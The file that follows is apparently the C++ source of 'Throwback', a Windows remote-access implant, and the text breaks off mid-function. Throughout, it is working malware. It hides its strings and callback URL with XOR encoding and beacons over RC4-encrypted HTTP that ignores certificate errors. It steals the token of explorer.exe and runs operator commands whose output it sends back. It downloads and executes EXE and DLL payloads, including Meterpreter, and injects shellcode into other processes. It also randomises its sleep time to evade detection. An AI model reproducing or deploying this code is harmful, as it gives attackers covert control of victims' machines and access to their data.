// throwBack.cpp : Defines the entry point for the console application. #include "stdafx.h" #include #include #include #include #include #include #include "WinHttpClient.h" #include #include "Base64_RC4.h" #include "Throwback.h" #include "LoadLibraryR.h" #include using namespace std; extern "C" HANDLE __stdcall LoadRemoteLibraryR(HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPVOID lpParameter); ////////////////// CONFIGURABLE SETTINGS BEGIN ////////////////// //UNCOMMENT TO DEBUG PROXY //#define DEBUGPROXY //SLEEP TIME WHEN DNS FAILS TO RESOLVE #ifndef _DEBUG int DNSERROR = 900; //IN SECONDS = 15 MINUTES #else int DNSERROR = 5; #endif //CODE IN THE HTML TO DENOTE TASKS FOLLOW // stup1fy int COMMANDCODE[] = {34,37,36,33,96,55,40}; //MAX LENGTH OF EACH DNS NAME const int DNSCODESIZE = 60; //MAX SIZE OF DNS NAME ARRAY const int DNSARRAY = 2; //ARRAY TO HOLD THE ENCODED URLS TO CALL BACK TO! //DNSARRAY AND DNSCODESIZE MUST MATCH THIS ARRAY! - EACH ARRAY MUST END WITH -1 SO THE STRING DECRYPTER KNOWS WHEN THE STRING IS COMPLETE!!! // https://192.168.20.133/index.php int DNSCODE[DNSARRAY][DNSCODESIZE] = {{57,37,37,33,34,107,126,126,96,104,99,127,96,103,105,127,99,97,127,96,98,98,126,56,63,53,52,41,127,33,57,33,-1}, {57,37,37,33,34,107,126,126,96,104,99,127,96,103,105,127,99,97,127,96,98,98,126,56,63,53,52,41,127,33,57,33,-1}}; //0 = LINEAR SELECTION OF LPs; 1 = RANDOM SELECTION OF LPs bool RCONNECTION = 1; ////////////////// CONFIGURABLE SETTINGS END ////////////////// //ARRAY OF ASCII CHARS wchar_t ASCIICHARS[256]; //KEY FOR RC4 ENCRYPTION const char *RC4KEY = "ZAQwsxcde321"; //DEFAULT CB TIME IS NOT UPDATED int cbTimeUpdated = 0; //USED TO PREVENT BASE64 FROM GETTING JACKED UP const wchar_t GOODCHAR = '~'; const wchar_t BADCHAR = '+'; //ALL THE POST VARIABLES ARE STORED HERE wstring urlVars; // STRUCTURE FOR INTERNET SETTINGS struct WINHTTPCONNECT { bool connectionValid; int connectionType; int connectionNumber; wstring proxyConfig; wstring sUrl; }; //FUNCTION DECLARATIONS int copyX(wchar_t *, wstring); bool setupConnection(WINHTTPCONNECT &); bool findProxyConfig(WINHTTPCONNECT &); WinHttpClient setupHttpClient(WINHTTPCONNECT &); string preparePost(wstring); //START OF CODE int enableSEPrivilege(LPCTSTR name) { HANDLE hToken; LUID luid; TOKEN_PRIVILEGES tkp; if(!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken)) return 0; if(!LookupPrivilegeValue(NULL, name, &luid)) return 0; tkp.PrivilegeCount = 1; tkp.Privileges[0].Luid = luid; tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; if(!AdjustTokenPrivileges(hToken, false, &tkp, sizeof(tkp), NULL, NULL)) return 0; if(GetLastError() == ERROR_NOT_ALL_ASSIGNED) return 0; CloseHandle(hToken); return 1; } DWORD findPid(wchar_t *procName) { DWORD tPid = 0; DWORD res = 0; PROCESSENTRY32 entry; entry.dwSize = sizeof(PROCESSENTRY32); wstring pName = procName; HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL); if(pName.find(L"\\") != -1) { int begin = pName.find_last_of(L"\\"); pName = pName.substr(begin + 1, pName.length()); } //FIND PID OF PROCESS if(Process32First(snapshot, &entry) == TRUE) { while(Process32Next(snapshot, &entry) == TRUE) { if(wcscmp(entry.szExeFile, pName.c_str()) == 0) { tPid = entry.th32ProcessID; break; } } } CloseHandle(snapshot); return tPid; } HANDLE duplicateToken() { int r = enableSEPrivilege(SE_RESTORE_NAME); r = enableSEPrivilege(SE_CREATE_TOKEN_NAME); r = enableSEPrivilege(SE_IMPERSONATE_NAME); r = enableSEPrivilege(SE_CREATE_TOKEN_NAME); HANDLE hPToken = NULL; HANDLE hProcToken; HANDLE hDupToken; //GET A HANDLE TO PROCESS DWORD hPid = findPid(L"explorer.exe"); if(hPid == 0) return NULL; hProcToken = OpenProcess(MAXIMUM_ALLOWED, FALSE, hPid); DWORD res = GetLastError(); if(hProcToken != NULL) { //OPEN TARGET PROCESS TO OBTAIN USER TOKEN OpenProcessToken(hProcToken, TOKEN_DUPLICATE|TOKEN_ASSIGN_PRIMARY|TOKEN_ADJUST_SESSIONID|TOKEN_READ|TOKEN_WRITE, &hPToken); if(hPToken != 0) { //DUPLICATE USER TOKEN if(DuplicateTokenEx(hPToken, MAXIMUM_ALLOWED, NULL, SecurityIdentification, TokenPrimary, &hDupToken) != 0) { //IMPERSONATE USER res = ImpersonateLoggedOnUser(hDupToken); res = GetLastError(); } CloseHandle(hPToken); } CloseHandle(hProcToken); } return hDupToken; } int revToSelf() { if(RevertToSelf()) return 1; else return 0; } wstring decryptString(int codeString[], int codeLength) { int count = 0; wstring temp = L""; int xKey = 'Q'; count = 0; while(count < codeLength) { int k = 0; if (codeString[count] == -1) break; else { k = xKey; temp += (codeString[count] ^ k) % 255; } count++; } return temp.c_str(); } //SLEEP FOR SPECIFIED DELAY void sleepDelay(int seconds) { //ADD SOME VARIATION TO EVADE BASIC MALWARE DETECTION double r = (double)rand() / RAND_MAX; double s = seconds * (.9 + r * (1.1 - .9)); Sleep(s * 1000); } //INJECT SHELLCODE int injectShellCode(HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength) { BOOL bSuccess = FALSE; LPVOID lpRemoteLibraryBuffer = NULL; DWORD dwThreadId = 0; DWORD dwResult = 0; HANDLE hThread = NULL; PRTL_CREATE_USER_THREAD RtlCreateUserThread = NULL; __try { do { if( !hProcess || !lpBuffer || !dwLength ) break; //OutputDebugString("ATTEMPING INJECTION!"); lpRemoteLibraryBuffer = VirtualAllocEx( hProcess, NULL, dwLength, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); if( !lpRemoteLibraryBuffer ) { //OutputDebugString(L"VirtualAllocEx FAILED!"); break; } // write the image into the host process... if (!WriteProcessMemory(hProcess, lpRemoteLibraryBuffer, lpBuffer, dwLength, NULL)) { //OutputDebugString(L"WriteProcessMemory FAILED!"); break; } //OutputDebugString(L"INJECTING DLL!"); DWORD ThreadID; hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)lpRemoteLibraryBuffer, 0, 0, &ThreadID); if(GetLastError() == ERROR_NOT_ENOUGH_MEMORY) { RtlCreateUserThread = (PRTL_CREATE_USER_THREAD)(GetProcAddress(GetModuleHandle(L"ntdll"), "RtlCreateUserThread")); if(RtlCreateUserThread) RtlCreateUserThread(hProcess, NULL, 0, 0, 0, 0, (LPTHREAD_START_ROUTINE)lpRemoteLibraryBuffer, 0, &hThread, NULL); else { VirtualFree(lpRemoteLibraryBuffer, dwLength, 0); return 1; } if(hThread == NULL) { OutputDebugStringA("INJECTION FAILED!"); return 1; } } } while( 0 ); } __except(EXCEPTION_EXECUTE_HANDLER) { hThread = NULL; } return 0; } /** //INJECT SHELLCODE DIRECTLY INTO MEMORY int injectShellCode(wstring wBase64, int runas, int procID) { if(wBase64.length() > 1024 || wBase64.length() < 128) return 13; //OPEN PROCESS HANDLE hHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, procID); if(hHandle == INVALID_HANDLE_VALUE) return 13; //CONVERT WIDE TO CHAR char *b64 = new char[wBase64.length() + 1]; b64[wBase64.length()] = '\0'; WideCharToMultiByte(CP_ACP, 0, wBase64.c_str(), -1, b64, wBase64.length(), NULL, NULL); //DESTINATION BUFFER char abuf[1024]; memset(abuf, 0, 1024); //BASE64 COMMAND RESULTS CBase64 base64; base64.Decrypt(b64, wBase64.length(), abuf); delete[] b64; //DWORD procSize = scCode.length(); DWORD bufLen = strlen(abuf); LPVOID lpProc = VirtualAllocEx(hHandle, 0, bufLen, MEM_COMMIT, PAGE_EXECUTE_READWRITE); //LPVOID lpProc = VirtualAllocEx(hHandle, 0, wBase64.length(), MEM_COMMIT, PAGE_EXECUTE_READWRITE); LPVOID lpParams = VirtualAllocEx(hHandle, 0, 1024, MEM_COMMIT, PAGE_READWRITE); if(!lpProc || !lpParams) return 13; //WRITE SHELLCODE TO MEMORY DWORD dwWritten; if(WriteProcessMemory(hHandle, lpProc, &abuf, bufLen, (SIZE_T *)&dwWritten) == 0) return 13; //if(WriteProcessMemory(hHandle, lpProc, &b64, wBase64.length(), (SIZE_T *)&dwWritten) == 0) return 13; //CREATE THE REMOTE THREAD DWORD ThreadID; HANDLE hThread = CreateRemoteThread(hHandle, NULL, 0, (LPTHREAD_START_ROUTINE)lpProc, lpParams, 0, &ThreadID); if (hThread == NULL) return 13; else WaitForSingleObject(hThread, 2000); VirtualFreeEx(hHandle, lpProc, bufLen, MEM_DECOMMIT); //VirtualFreeEx(hHandle, lpProc, wBase64.length(), MEM_DECOMMIT); VirtualFreeEx(hHandle, lpParams, 1024, MEM_DECOMMIT); CloseHandle(hHandle); return 0; } **/ //RUN COMMAND RETURN OUTPUT wstring runCommand(wstring command, wstring args, int dToken) { HANDLE hDupToken = NULL; //IF dToken IS SET, THEN IMPLANT IS RUNNING AS SYSTEM AND MUST DUPLICATE TOKEN OF USER //THIS IS NEEDED TO CREATE PROCESSES THAT REQUIRE USER PROXY SETTINGS...LIKE THE METERPRETER CALLBACK if(dToken == 1) { hDupToken = duplicateToken(); if(hDupToken == NULL) return L"14"; } wstring retString = L"0"; SECURITY_ATTRIBUTES secattr; ZeroMemory(&secattr,sizeof(secattr)); secattr.nLength = sizeof(secattr); secattr.bInheritHandle = true; HANDLE rPipe, wPipe; CreatePipe(&rPipe, &wPipe, &secattr, 0); STARTUPINFO sInfo; ZeroMemory(&sInfo, sizeof(sInfo)); sInfo.cb = sizeof(sInfo); sInfo.dwFlags = STARTF_USESTDHANDLES; sInfo.lpDesktop = NULL; sInfo.hStdInput = NULL; sInfo.hStdOutput = wPipe; sInfo.hStdError = wPipe; sInfo.wShowWindow = SW_HIDE; PROCESS_INFORMATION pInfo; ZeroMemory(&pInfo, sizeof(pInfo)); DWORD ret = 0; if(args.length() == 0) { if(dToken == 0) ret = CreateProcess(command.c_str(), 0, 0, 0, true, NORMAL_PRIORITY_CLASS|CREATE_NO_WINDOW, 0, 0, &sInfo, &pInfo); else if(dToken == 1) ret = CreateProcessAsUser(hDupToken, (LPWSTR)command.c_str(), 0, 0, 0, true, NORMAL_PRIORITY_CLASS|CREATE_NO_WINDOW, 0, 0, &sInfo, &pInfo); } else { command.append(L" "); command.append(args.c_str()); if(dToken == 0) ret = CreateProcess(0, (LPWSTR)command.c_str(), 0, 0, true, NORMAL_PRIORITY_CLASS|CREATE_NO_WINDOW, 0, 0, &sInfo, &pInfo); else if(dToken == 1) { ret = CreateProcessAsUser(hDupToken, 0, (LPWSTR)command.c_str(), 0, 0, true, NORMAL_PRIORITY_CLASS|CREATE_NO_WINDOW, 0, 0, &sInfo, &pInfo); //CREATEPROCESSASUSER RETURNS 0 FOR SUCCESS SO MAKE IT 1 LIKE CREATEPROCESS IF SUCCESSFUL if(ret == 0) ret = 1; } } string temp; //9 = UNABLE TO CREATE PROCESS if(ret != 1) { retString = L"9"; } else { CloseHandle(wPipe); //WAIT FOR OBJECT TO FINISH WaitForSingleObject(pInfo.hProcess, 10000); DWORD reDword; //CHECK IF PIPE IS EMPTY if(PeekNamedPipe(rPipe, NULL, NULL, NULL, &reDword, NULL)) { //IF ITS NOT EMPTY PULL STDOUT FROM THE PIPE if(reDword != 0) { char buf[256]; BOOL res; do { string t; res = ::ReadFile(rPipe, buf, sizeof(buf), &reDword, 0); t = buf; //CUT OFF THE CRAP AT THE END temp.append(t.substr(0,reDword)); }while(res); //8 = PROCESS IS STILL RUNNING OR RETURNED NO OUTPUT }else retString = L"8"; //8 = PROCESS IS STILL RUNNING OR RETURNED NO OUTPUT }else retString = L"8"; } if(temp.length() > 0) { wchar_t *wszTo = new wchar_t[temp.length() + 1]; wszTo[temp.size()] = L'\0'; MultiByteToWideChar(CP_ACP, 0, temp.c_str(), -1, wszTo, temp.length()); retString = wszTo; delete[] wszTo; } if(hDupToken != NULL) CloseHandle(hDupToken); if(dToken == 1) revToSelf(); return retString; } /** int copyX(wchar_t *origin, wchar_t *destination) { int ret = 1; //DELETE FILE IF IT EXISTS if(GetFileAttributes(destination) != INVALID_FILE_ATTRIBUTES) { SetFileAttributes(destination, FILE_ATTRIBUTE_NORMAL); DeleteFile(destination); } //AV FLAGGED HERE - USED CopyFile BEFORE! ret = CopyFileEx(origin, destination, NULL, NULL, NULL, NULL); //NOW COPY FILE if(ret != 0) ret = 0; //COPY SUCCESSFUL else ret = 1; //COPY UNSUCCESSFUL - PERMISSIONS(5) OR ALREADY RUNNING(32)! SetFileAttributes(destination, FILE_ATTRIBUTE_HIDDEN); return ret; } **/ //SET PROXY CONFIGURATION WHICH IS STORED IN hConnect AT STARTUP void setProxyConfig(WinHttpClient &hClient, WINHTTPCONNECT &hConnect) { //SET CONNECTION INFO //1 | 3 = PROXY SERVER if(hConnect.connectionType == 1 || hConnect.connectionType == 3) { hClient.SetProxy(hConnect.proxyConfig); hClient.SetProxyUrl(L""); } //2 | 4 = WPAD URL else if(hConnect.connectionType == 2 || hConnect.connectionType == 4) { hClient.SetProxy(L""); hClient.SetProxyUrl(hConnect.proxyConfig); } //0 = DIRECT CONNECTION else if(hConnect.connectionType == 0) { hClient.SetProxy(L""); hClient.SetProxyUrl(L""); } return; } int downloadFile(wchar_t *url, wchar_t *destination, WINHTTPCONNECT &hConnect) { //SETUP HTTP CLIENT WinHttpClient tClient(url); //SETUP PROXY CONFIG setProxyConfig(tClient, hConnect); //DON'T REQUIRE VALID CERT tClient.SetRequireValidSslCertificates(false); //FORCE PROXY REFRESH tClient.SetAdditionalRequestHeaders(L"Pragma: no-cache\r\n"); //SEND REQUEST tClient.SendHttpRequest(); //MAKE SURE STATUS CODE IS GOOD if(tClient.m_statusCode != L"200") return 1; //SLEEP FOR DOWNLOAD TO COMPLETE sleepDelay(5); //KIND OF GHETTO...JUST TO MAKE SURE ENOUGH DOWNLOAD TIME //while(hClient. if(tClient.SaveResponseToFile(destination) == false) return 1; return 0; } wstring getHostName() { wchar_t cName[256]; DWORD length = 256; GetComputerName(cName, &length); wstring hn = cName; return hn; } int sendData(WINHTTPCONNECT &hConnect, wchar_t *commandResult, wchar_t *pk) { wstring pData = urlVars; //MATCHING KEY // &pk= int pkInt[] = {119,33,58,108}; pData.append(decryptString(pkInt, (sizeof(pkInt)/sizeof(int)))); pData.append(pk); //RESULTS // &res= int resInt[] = {119,35,52,34,108}; pData.append(decryptString(resInt, (sizeof(resInt)/sizeof(int)))); //CONVERT WIDE TO CHAR char *commandRes = new char[wcslen(commandResult) + 1]; commandRes[wcslen(commandResult)] = '\0'; WideCharToMultiByte(CP_ACP, 0, commandResult, -1, commandRes, wcslen(commandResult), NULL, NULL); //BASE64 COMMAND RESULTS CBase64 base64; char *b64CommandRes = new char[base64.B64_length(strlen(commandRes)) + 1]; if(b64CommandRes == NULL) return 1; base64.Encrypt(commandRes, strlen(commandRes), b64CommandRes); //CONVERT BACK TO WIDE - I HATE THIS! wchar_t *b64Wchar = new wchar_t[strlen(b64CommandRes) + 1]; b64Wchar[strlen(b64CommandRes)] = '\0'; MultiByteToWideChar(CP_ACP, 0, b64CommandRes, -1, b64Wchar, strlen(b64CommandRes)); //NOW APPEND TO POST DATA pData.append(b64Wchar); while(true) { int found = pData.find(BADCHAR); if(found != -1) pData[found] = GOODCHAR; else break; } string aData = preparePost(pData); /** //CONVERT POST DATA TO MB char *aTmp = new char[pData.length() + 1]; aTmp[pData.length()] = '\0'; WideCharToMultiByte(CP_ACP, 0, pData.c_str(), -1, aTmp, pData.length(), NULL, NULL); //ENCRYPT POST DATA CRC4 rc4; rc4.Encrypt(aTmp, RC4KEY); //BASE64 ENCODE POST DATA AFTER ENCODING char *dst = new char[base64.B64_length(strlen(aTmp)) + 1]; if(dst == NULL) return 1; base64.Encrypt(aTmp, strlen(aTmp), dst); string aData = "pd="; aData.append(dst); //CHANGE ALL '+' TO '~' --> THE '+' IN THE URL JACKS UP THE DECODING while (true) { int found = aData.find(BADCHAR); if(found != -1) aData[found] = GOODCHAR; else break; } **/ //CREATE URL TO POST RESULTS //wstring sendUrl = hConnect.sUrl; //sendUrl.append(decryptString(PHPTASKING, (sizeof(PHPTASKING)/sizeof(int)))); //SETUP HTTP CLIENT WinHttpClient tClient(hConnect.sUrl); //SETUP PROXY CONFIG setProxyConfig(tClient, hConnect); //DON'T REQUIRE VALID CERT tClient.SetRequireValidSslCertificates(false); //ADD POST VARS TO REQUEST tClient.SetAdditionalDataToSend((BYTE *)aData.c_str(), aData.length()); //ADD POST CONTENT HEADERS wstring pHeaders = L"Content-Type: application/x-www-form-urlencoded\r\nContent-Length: %d\r\nPragma: no-cache\r\n"; wchar_t szHeaders[MAX_PATH * 10] = L""; swprintf_s(szHeaders, MAX_PATH * 10, pHeaders.c_str(), aData.length()); tClient.SetAdditionalRequestHeaders(szHeaders); //SEND REQUEST tClient.SendHttpRequest(L"POST", true); //CLEAN UP! delete[] commandRes; delete[] b64CommandRes; delete[] b64Wchar; //CHECK STATUS CODE if(tClient.m_statusCode != L"200") return 1; else return 0; } int updateCallBack(LPCWSTR callBack) { try { DEFAULTTIMEOUT = _wtoi(callBack) * 60; } catch(...) { DEFAULTTIMEOUT = 1800; return 1; } cbTimeUpdated = 1; return 0; } string preparePost(wstring pData) { //CONVERT POST DATA TO MB char *aTmp = new char[pData.length() + 1]; aTmp[pData.length()] = '\0'; WideCharToMultiByte(CP_ACP, 0, pData.c_str(), -1, aTmp, pData.length(), NULL, NULL); //ENCRYPT POST DATA CRC4 rc4; rc4.Encrypt(aTmp, RC4KEY); //BASE64 ENCODE POST DATA CBase64 base64; char *dst = new char[base64.B64_length(strlen(aTmp)) + 1]; if(dst == NULL) return "-1"; base64.Encrypt(aTmp, strlen(aTmp), dst); string aData = "pd="; aData.append(dst); //CHANGE ALL '+' TO '~' --> THE '+' IN THE URL JACKS UP THE DECODING while (true) { int found = aData.find(BADCHAR); if(found != -1) aData[found] = GOODCHAR; else break; } //CLEAN UP AND RETURN delete[] dst; delete[] aTmp; return aData; } wstring retrieveData(WINHTTPCONNECT &hConnect) { wstring pData = L""; //OutputDebugString(L"RETRIEVING HTML KEY!"); //ADD OTHER VARIABLES (hn, un, id) pData = urlVars; //ADD POST VARIABLE FOR PROXY STATUS if(hConnect.connectionType != 0) { // &pe= int proxyCode[] = {119,33,52,108}; pData.append(decryptString(proxyCode, (sizeof(proxyCode)/sizeof(int)))); pData.append(L"1"); } //TELL LP CALLBACK TIME IS NOT MODIFIED if(cbTimeUpdated == 0) { // &cb= int cbTimeCode[] = {119,50,51,108}; pData.append(decryptString(cbTimeCode, (sizeof(cbTimeCode)/sizeof(int)))); pData.append(L"1"); } //PREPARE POST - BASE64, ENCRYPT, ETC. string aData = preparePost(pData); //CREATE URL TO RETRIEVE TASKS //wstring retrieveUrl = hConnect.sUrl; //retrieveUrl.append(decryptString(PHPTASKING, (sizeof(PHPTASKING)/sizeof(int)))); //SETUP HTTP CLIENT WinHttpClient tClient(hConnect.sUrl); //SETUP PROXY CONFIG setProxyConfig(tClient, hConnect); //DON'T REQUIRE VALID CERT tClient.SetRequireValidSslCertificates(false); //ADD POST VARS TO REQUEST tClient.SetAdditionalDataToSend((BYTE *)aData.c_str(), aData.size()); //ADD POST HEADERS TO REQUEST wstring pHeaders = L"Content-Type: application/x-www-form-urlencoded\r\nContent-Length: %d\r\nPragma: no-cache\r\n"; wchar_t szHeaders[MAX_PATH * 10] = L""; swprintf_s(szHeaders, MAX_PATH * 10, pHeaders.c_str(), aData.size()); tClient.SetAdditionalRequestHeaders(szHeaders); //SEND REQUEST tClient.SendHttpRequest(L"POST", true); //RETURN -1 IF STATUS CODE IS NOT 200-OK if(tClient.m_statusCode != L"200") { //OutputDebugString(L"STATUS NOT 200! RETRYING..."); tClient.SendHttpRequest(L"POST", true); if(tClient.m_statusCode != L"200") { //OutputDebugString(tClient.m_statusCode.c_str()); return L"-1"; } } //RETRIEVE CONTENT wstring rResponse = tClient.GetResponseContent(); //KEY IN HTML wstring lpKey = decryptString(COMMANDCODE, (sizeof(COMMANDCODE)/sizeof(int))); wchar_t *ENDER = L">"; //CHECK IF KEY IS PRESENT int found1 = rResponse.find(lpKey.c_str()); //RETURN THE STRING IF KEY IS PRESENT if(found1 != -1) { int found2 = rResponse.find(ENDER, found1); rResponse = rResponse.substr(found1+lpKey.length(), found2-found1-lpKey.length()); //OutputDebugString(L"KEY FOUND!"); } else { //NO KEY FOUND!! WEIRD!! //OutputDebugString(L"KEY NOT FOUND IN HTML!"); return L"-1"; } return rResponse; } int parseRequest(wstring command, WINHTTPCONNECT &hConnect) { const wchar_t DELIMITER = '&'; const int NUM_ARGS = 6; //FIND THE END int retInt = 0; //COUNT NUMBER OF DELIMITERS int count = 0; for (int i = 0; i < command.length(); i++) { if(command[i] == DELIMITER) { count++; } } //PARSE REQUEST int todo; int position; wstring prog; wstring args; wstring pk; int runas; try { //PULL OUT ACTION position = command.find(DELIMITER); todo = _wtoi(command.substr(0, position).c_str()); command = command.substr(position + 1, command.length() - position); //PULL OUT PK position = command.find(DELIMITER); pk = command.substr(0, position).c_str(); command = command.substr(position + 1, command.length() - position); //PULL OUT COMMAND position = command.find(DELIMITER); prog = command.substr(0, position); command = command.substr(position + 1, command.length() - position); //PULL OUT ARGS position = command.find(DELIMITER); args = command.substr(0, position); command = command.substr(position + 1, command.length() - position); //PULL OUT RUNAS CHECKBOX position = command.find(DELIMITER); runas = _wtoi(command.substr(0, position).c_str()); //VERIFY COUNT TO MAKE SURE REQUEST IS VALID if(count != NUM_ARGS) { //10 IS MALFORMED DATA retInt = 10; retInt = sendData(hConnect, L"10", (wchar_t *)pk.c_str()); return retInt; } wstring commandResult; if(todo == 0) { retInt = 10; } //EXECUTE EXE else if(todo == 1) { commandResult = runCommand(prog, args, runas); //POST OUTPUT retInt = sendData(hConnect, (wchar_t *)commandResult.c_str(), (wchar_t *)pk.c_str()); } //DOWNLOAD AND EXECUTE EXE else if(todo == 2) { retInt = downloadFile((wchar_t *)prog.c_str(), (wchar_t *)args.c_str(), hConnect); if(retInt == 0) { commandResult = runCommand(args, L"", runas); //POST OUTPUT retInt = sendData(hConnect, (wchar_t *)commandResult.c_str(), (wchar_t *)pk.c_str()); } else { //3 = DOWNLOAD FAILED retInt = sendData(hConnect, L"3", (wchar_t *)pk.c_str()); } } //DOWNLOAD A FILE else if(todo == 3) { retInt = downloadFile((wchar_t *)prog.c_str(), (wchar_t *)args.c_str(), hConnect); if(retInt == 0) { commandResult = L"0"; retInt = sendData(hConnect, (wchar_t *)commandResult.c_str(), (wchar_t *)pk.c_str()); } else { //3 = DOWNLOAD FAILED retInt = sendData(hConnect, L"3", (wchar_t *)pk.c_str()); } } //DOWNLOAD AND EXECUTE DLL else if(todo == 4) { retInt = downloadFile((wchar_t *)prog.c_str(), (wchar_t *)args.c_str(), hConnect); if(retInt == 0) { // ,DllMain@12 - DEFAULT ENTRY POINT FOR METERPRETER DLLS - FIND A WAY TO MAKE THIS MODIFIABLE int dllMain[] = {125,21,61,61,28,48,56,63,17,96,99}; args.append(decryptString(dllMain, (sizeof(dllMain)/sizeof(int)))); commandResult = runCommand(L"rundll32.exe", args, runas); //POST OUTPUT retInt = sendData(hConnect, (wchar_t *)commandResult.c_str(), (wchar_t *)pk.c_str()); } else { //3 = DOWNLOAD FAILED retInt = sendData(hConnect, L"3", (wchar_t *)pk.c_str()); } } //SET CB TIME else if(todo == 5) { retInt = updateCallBack((wchar_t *)prog.c_str()); if(retInt == 0) retInt = sendData(hConnect, L"0", (wchar_t *)pk.c_str()); else retInt = sendData(hConnect, L"1", (wchar_t *)pk.c_str()); } //UPGRADE IMPLANT else if(todo == 6) { retInt = downloadFile((wchar_t *)prog.c_str(), (wchar_t *)args.c_str(), hConnect); if(retInt == 0) { //START NEW VERSION commandResult = runCommand(args, L"", runas); if(commandResult == L"8") { retInt = sendData(hConnect, L"0", (wchar_t *)pk.c_str()); exit(0); } //9 = FAILED TO START PROGRAM else retInt = sendData(hConnect, L"9", (wchar_t *)pk.c_str()); } //3 = DOWNLOAD FAILED else retInt = sendData(hConnect, L"3", (wchar_t *)pk.c_str()); } //UNINSTALL IMPLANT else if(todo == 7) { retInt = UninstallTB(); //NO ERRORS! if(retInt == 0) { retInt = sendData(hConnect, L"0", (wchar_t *)pk.c_str()); exit(0); } //ERROR UNINSTALLING!! else retInt = sendData(hConnect, L"11", (wchar_t *)pk.c_str()); } //INSTALL SERVICE - REMOVED THIS FEATURE...NOT NEEDED else if(todo == 8) { retInt = sendData(hConnect, L"15", (wchar_t *)pk.c_str()); } //EXECUTE SHELLCODE else if(todo == 9) { //SETUP HTTP CLIENT WinHttpClient tClient(prog.c_str()); //SETUP PROXY CONFIG setProxyConfig(tClient, hConnect); //DON'T REQUIRE VALID CERT tClient.SetRequireValidSslCertificates(false); //FORCE PROXY REFRESH tClient.SetAdditionalRequestHeaders(L"Pragma: no-cache\r\n"); //SEND REQUEST TO DOWNLOAD SC...EMBEDDED IN HTML tClient.SendHttpRequest(); wstring scString; //RETURN CONTENT if(tClient.m_statusCode == L"200") scString = tClient.GetResponseContent(); //BASIC ERROR CHECKING - SHELLCODE MUST BE > 225 BYTES if(scString.length() > 200) { //START HIDDEN PROCESS FOR SHELLCODE INJECTION DWORD pID = 0; try { pID = _wtoi(args.c_str()); } catch(...) { pID = 0; } if(pID != 0) { HANDLE hHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pID); if(hHandle == INVALID_HANDLE_VALUE) retInt = 13; else { //CONVERT WIDE TO CHAR char *b64 = new char[scString.length() + 1]; memset(b64, 0, scString.length() + 1); WideCharToMultiByte(CP_ACP, 0, scString.c_str(), -1, (LPSTR)b64, scString.length(), NULL, NULL); //BASE64 COMMAND RESULTS CBase64 base64; DWORD scLen = base64.Ascii_length(scString.length()); //DESTINATION BUFFER LPVOID *abuf = new LPVOID[scLen + 1]; memset(abuf, 0, scLen + 1); base64.Decrypt(b64, scString.length(), (char *)abuf); retInt = injectShellCode(hHandle, abuf, scLen); CloseHandle(hHandle); if(b64) delete b64; if(abuf) delete abuf; } } else retInt = 13; //POST RESULTS if(retInt == 0) { //OutputDebugString(L"INJECTED"); retInt = sendData(hConnect, L"0", (wchar_t *)pk.c_str()); } else { wchar_t tmp[25]; _itow(retInt, tmp, 10); //OutputDebugString(L"FAILED"); //OutputDebugString(tmp); retInt = sendData(hConnect, tmp, (wchar_t *)pk.c_str()); } } else retInt = 1; } //SHORT SLEEP else if(todo == 10) { try { int sleeper = _wtoi(prog.c_str()); sleepDelay(sleeper); sendData(hConnect, L"0", (wchar_t *)pk.c_str()); retInt = 999; } catch(...) { retInt = sendData(hConnect, L"99", (wchar_t *)pk.c_str()); } } //MALFORMED DATA else { retInt = 10; } } catch(...) { //EXCEPTION THROWN retInt = 10; } return retInt; } bool checkOS() { OSVERSIONINFO osver; osver.dwOSVersionInfoSize = sizeof(osver); bool ver = 0; if(GetVersionEx(&osver)) { //2000, XP, AND 2003 if(osver.dwMajorVersion == 5) ver = 0; //VISTA AND 7 else if(osver.dwMajorVersion == 6) ver = 1; } return ver; } bool checkArch() { bool arch; //GET SYSTEM ARCHITECTURE //x86 if(sizeof(void*) == 4) arch = 0; //x64 else arch = 1; return arch; } //SET ALL POST VARIABLES THAT WILL BE USED FOR COMMS int initializeVars() { int count = 0; int ret = 0; wstring temp = L""; try { //CREATE ASCII CHARACTER ARRAY! int i = 0x00; while(i <= 0xff) { ASCIICHARS[i] = i; i++; } //SPECIAL KEY IN THE POST VARIABLE urlVars = L""; // enc= int enc[] = {52,63,50,108}; urlVars.append(decryptString(enc, (sizeof(enc)/sizeof(int)))); // 123spec!alk3y456 int postCode[] = {96,99,98,34,33,52,50,112,48,61,58,98,40,101,100,103}; urlVars.append(decryptString(postCode, (sizeof(postCode)/sizeof(int)))); //HOSTNAME // &hn= int hn[] = {119,57,63,108}; urlVars.append(decryptString(hn, (sizeof(hn)/sizeof(int)))); temp = getHostName(); urlVars.append(temp); //IP ADDRESS // &num= int ip[] = {119,63,36,60,108}; urlVars.append(decryptString(ip, sizeof(ip)/sizeof(int))); WSADATA wsa_Data; int wsa_ReturnCode = WSAStartup(0x101,&wsa_Data); //NEXT, TO GET THE LOCAL HOST NAME char szHostName[255]; gethostname(szHostName, 255); //WITH THIS STEP COMPLETE, ALL THAT REMAINS IS TO POPULATE A HOST ENTRY STRUCTURE WHICH WILL CONTAIN ALL THE IP RELATED INFORMATION FOR THIS MACHINE: struct hostent *host_entry; host_entry=gethostbyname(szHostName); //THE HOSTENT STRUCTURE IS NOT IMMEDIATELY USEFUL, HOWEVER. IT CONTAINS A LIST OF ALL THE ADAPTERS IN A MEMBER CALLED H_ADDR_LIST, WHICH IS A NULL TERMINATED LIST OF ADDRESSES. WE ASSUME THAT THE ONE WE WANT IS IN H_ADDR_LIST[0], FOR THE SAKE OF CLARITY. THIS VALUE CAN BE CONVERTED TO A STRING BY USING THE INET_NTOA FUNCTION: char *szLocalIP = NULL; szLocalIP = inet_ntoa(*(struct in_addr *)*host_entry->h_addr_list); //NOW APPEND LOCAL IP //CONVERT WIDE TO CHAR wchar_t *wszTo = NULL; wszTo = new wchar_t[strlen(szLocalIP) + 1]; memset(wszTo, 0, strlen(szLocalIP) + 1); MultiByteToWideChar(CP_ACP, 0, szLocalIP, -1, wszTo, strlen(szLocalIP) + 1); urlVars.append(wszTo); if(wszTo) 